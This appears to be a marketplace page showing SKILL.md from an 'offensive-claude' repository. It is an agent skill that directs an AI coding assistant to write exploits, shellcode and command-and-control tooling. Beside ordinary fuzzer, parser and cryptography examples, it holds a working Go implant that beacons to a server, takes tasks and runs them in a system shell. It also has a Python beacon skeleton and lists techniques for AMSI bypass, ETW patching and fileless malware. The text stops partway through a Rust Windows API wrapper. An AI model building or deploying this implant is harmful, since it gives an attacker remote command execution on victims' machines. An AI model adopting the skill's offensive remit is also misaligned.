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coding-mastery

Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation

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Repository
hypnguyen1209/offensive-claude
Letzte Quellaktivität
17. August 2026 um 10:34
Erkannte Sprache von SKILL.md
Englisch
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387
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68

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SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
coding-mastery
description
Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation
metadata
{"type":"utility","phase":"any"}
kill_chain
{"phase":["weaponize"],"step":[2],"attck_tactics":["TA0042"]}
depends_on
[]
feeds_into
["exploit-development","shellcode-dev","edr-evasion"]
inputs
["tool_requirements"]
outputs
["custom_tooling","exploit_code"]
# Coding Mastery ## When to Activate - Writing exploit code, PoCs, or security tools - Developing automation scripts for pentesting workflows - Implementing network protocols or custom C2 - Building security analysis tools - Cryptographic implementation or analysis - Performance-critical systems programming ## Languages & Use Cases ### Python (Primary — Offensive Tooling) ```python # Exploit development with pwntools from pwn import * context(arch='amd64', os='linux') # Network programming import socket, ssl, struct import asyncio, aiohttp # async operations # Web exploitation import requests, urllib3 from bs4 import BeautifulSoup # Crypto from Crypto.Cipher import AES, DES from Crypto.PublicKey import RSA import hashlib, hmac # Binary analysis import struct, ctypes from capstone import * # disassembly from unicorn import * # emulation from keystone import * # assembly ``` ### C/C++ (Systems & Exploit Dev) ```c // Shellcode development // Position-independent code, null-free // Syscall-based (avoid libc dependency) // Kernel module development #include <linux/module.h> #include <linux/kernel.h> // Windows API abuse #include <windows.h> #include <winternl.h> // Direct syscalls, NTAPI // Memory manipulation // Custom allocators, heap spray, ROP gadget finders ``` ### Go (Offensive Tooling & C2) ```go // Implant development (cross-compile, static binary) // C2 communication (HTTP/DNS/named pipes) // Network scanning and enumeration // Proxy/tunnel tools (chisel-like) // Advantages: single binary, cross-platform, fast, good crypto stdlib ``` ### Rust (High-Performance Security Tools) ```rust // Memory-safe exploit tooling // High-performance scanners // Custom protocol implementations // Fuzzing harnesses ``` ### PowerShell (Windows Post-Exploitation) ```powershell # AMSI bypass, ETW patching # In-memory execution (reflection) # AD enumeration and exploitation # Fileless malware techniques ``` ### Assembly (x86/x64/ARM) ```nasm ; Shellcode ; ROP gadgets ; Anti-debugging ; Kernel exploitation ; Architecture-specific tricks ``` ## Design Patterns for Security Tools ### Scanner Architecture ```python import asyncio from dataclasses import dataclass from typing import AsyncIterator @dataclass class Finding: severity: str target: str vulnerability: str evidence: str class Scanner: def __init__(self, targets: list[str], concurrency: int = 50): self.targets = targets self.semaphore = asyncio.Semaphore(concurrency) async def scan_target(self, target: str) -> list[Finding]: async with self.semaphore: # Implement scan logic pass async def run(self) -> AsyncIterator[Finding]: tasks = [self.scan_target(t) for t in self.targets] for coro in asyncio.as_completed(tasks): findings = await coro for f in findings: yield f ``` ### C2 Communication Pattern ```python import base64, json, time, random from cryptography.fernet import Fernet class Beacon: def __init__(self, server: str, key: bytes, jitter: float = 0.3): self.server = server self.cipher = Fernet(key) self.jitter = jitter self.sleep_time = 60 def encrypt(self, data: bytes) -> str: return base64.b64encode(self.cipher.encrypt(data)).decode() def decrypt(self, data: str) -> bytes: return self.cipher.decrypt(base64.b64decode(data)) def sleep(self): jitter = random.uniform(1 - self.jitter, 1 + self.jitter) time.sleep(self.sleep_time * jitter) def checkin(self) -> dict: # POST encrypted system info, receive tasking pass ``` ### Network Protocol Implementation ```python import struct class ProtocolParser: def __init__(self, data: bytes): self.data = data self.offset = 0 def read_u8(self) -> int: val = struct.unpack_from('B', self.data, self.offset)[0] self.offset += 1 return val def read_u16(self) -> int: val = struct.unpack_from('>H', self.data, self.offset)[0] self.offset += 2 return val def read_u32(self) -> int: val = struct.unpack_from('>I', self.data, self.offset)[0] self.offset += 4 return val def read_bytes(self, n: int) -> bytes: val = self.data[self.offset:self.offset + n] self.offset += n return val def read_string(self) -> str: length = self.read_u16() return self.read_bytes(length).decode() ``` ## Cryptography Patterns ```python # AES-GCM (authenticated encryption) from cryptography.hazmat.primitives.ciphers.aead import AESGCM import os key = AESGCM.generate_key(bit_length=256) aes = AESGCM(key) nonce = os.urandom(12) ct = aes.encrypt(nonce, plaintext, associated_data) pt = aes.decrypt(nonce, ct, associated_data) # RSA key generation and usage from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import hashes private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096) public_key = private_key.public_key() # Encrypt ct = public_key.encrypt(plaintext, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None)) # HMAC for integrity import hmac, hashlib mac = hmac.new(key, message, hashlib.sha256).digest() # Key derivation from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000) key = kdf.derive(password) ``` ## Advanced: Exploit Development Patterns ### Custom Fuzzer Architecture ```python import os, signal, subprocess, struct, random from multiprocessing import Pool class CoverageFuzzer: def __init__(self, target_binary, corpus_dir, crashes_dir): self.target = target_binary self.corpus = self._load_corpus(corpus_dir) self.crashes_dir = crashes_dir self.coverage = set() def mutate(self, data: bytes) -> bytes: mutations = [ self._bit_flip, self._byte_flip, self._insert_interesting, self._splice, self._havoc, ] mutator = random.choice(mutations) return mutator(data) def _bit_flip(self, data: bytes) -> bytes: d = bytearray(data) pos = random.randint(0, len(d) * 8 - 1) d[pos // 8] ^= (1 << (pos % 8)) return bytes(d) def _insert_interesting(self, data: bytes) -> bytes: interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff] d = bytearray(data) pos = random.randint(0, len(d) - 4) val = random.choice(interesting) struct.pack_into('<I', d, pos, val & 0xffffffff) return bytes(d) def run_target(self, input_data: bytes) -> tuple: """Returns (exit_code, new_coverage)""" proc = subprocess.run( [self.target], input=input_data, capture_output=True, timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'} ) if proc.returncode < 0: # Signal = crash return (proc.returncode, True) return (proc.returncode, False) def fuzz_loop(self, iterations=100000): for i in range(iterations): seed = random.choice(self.corpus) mutated = self.mutate(seed) code, crashed = self.run_target(mutated) if crashed: crash_path = f"{self.crashes_dir}/crash_{i:06d}" open(crash_path, 'wb').write(mutated) ``` ### C2 Implant Architecture (Go) ```go package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "encoding/json" "io" "net/http" "os/exec" "runtime" "time" ) type Beacon struct { Server string Key []byte Sleep time.Duration Jitter float64 KillDate time.Time } type Task struct { ID string `json:"id"` Command string `json:"cmd"` Args string `json:"args"` } type Result struct { TaskID string `json:"task_id"` Output string `json:"output"` Error string `json:"error,omitempty"` } func (b *Beacon) Encrypt(data []byte) ([]byte, error) { block, _ := aes.NewCipher(b.Key) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) io.ReadFull(rand.Reader, nonce) return gcm.Seal(nonce, nonce, data, nil), nil } func (b *Beacon) Decrypt(data []byte) ([]byte, error) { block, _ := aes.NewCipher(b.Key) gcm, _ := cipher.NewGCM(block) nonceSize := gcm.NonceSize() return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil) } func (b *Beacon) CheckIn() (*Task, error) { sysinfo := map[string]string{ "os": runtime.GOOS, "arch": runtime.GOARCH, } body, _ := json.Marshal(sysinfo) enc, _ := b.Encrypt(body) resp, err := http.Post(b.Server+"/api/beacon", "application/octet-stream", bytes.NewReader(enc)) if err != nil { return nil, err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) dec, _ := b.Decrypt(respBody) var task Task json.Unmarshal(dec, &task) return &task, nil } func (b *Beacon) Execute(task *Task) *Result { var cmd *exec.Cmd switch runtime.GOOS { case "windows": cmd = exec.Command("cmd.exe", "/c", task.Args) default: cmd = exec.Command("/bin/sh", "-c", task.Args) } output, err := cmd.CombinedOutput() result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)} if err != nil { result.Error = err.Error() } return result } ``` ### Network Protocol Fuzzer ```python import socket, struct, random, itertools from dataclasses import dataclass, field @dataclass class ProtocolField: name: str fmt: str # struct format value: int = 0 fuzzable: bool = True @property def size(self): return struct.calcsize(self.fmt) def pack(self): return struct.pack(self.fmt, self.value) def fuzz(self): boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2] return random.choice(boundaries + [random.randint(0, self.max_val)]) @property def max_val(self): return (1 << (self.size * 8)) - 1 class ProtocolFuzzer: def __init__(self, host, port, fields: list[ProtocolField]): self.host, self.port = host, port self.fields = fields def build_packet(self, fuzz_field=None) -> bytes: pkt = b'' for f in self.fields: if f.name == fuzz_field and f.fuzzable: pkt += struct.pack(f.fmt, f.fuzz()) else: pkt += f.pack() return pkt def send(self, packet: bytes) -> bytes: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect((self.host, self.port)) s.send(packet) try: resp = s.recv(4096) except: resp = b'' s.close() return resp def fuzz_all_fields(self, iterations=1000): for i in range(iterations): field = random.choice([f for f in self.fields if f.fuzzable]) pkt = self.build_packet(fuzz_field=field.name) try: resp = self.send(pkt) if not resp: print(f"[!] No response fuzzing {field.name} iter {i}") except ConnectionRefusedError: print(f"[!!!] CRASH fuzzing {field.name} iter {i}") open(f"crash_{i}.bin", 'wb').write(pkt) ``` ### Windows API Wrapper (Rust — Safe Offensive Tooling) ```rust use std::ptr; use windows_sys::Win32::System::Memory::*; use windows_sys::Win32::System::Threading::*;
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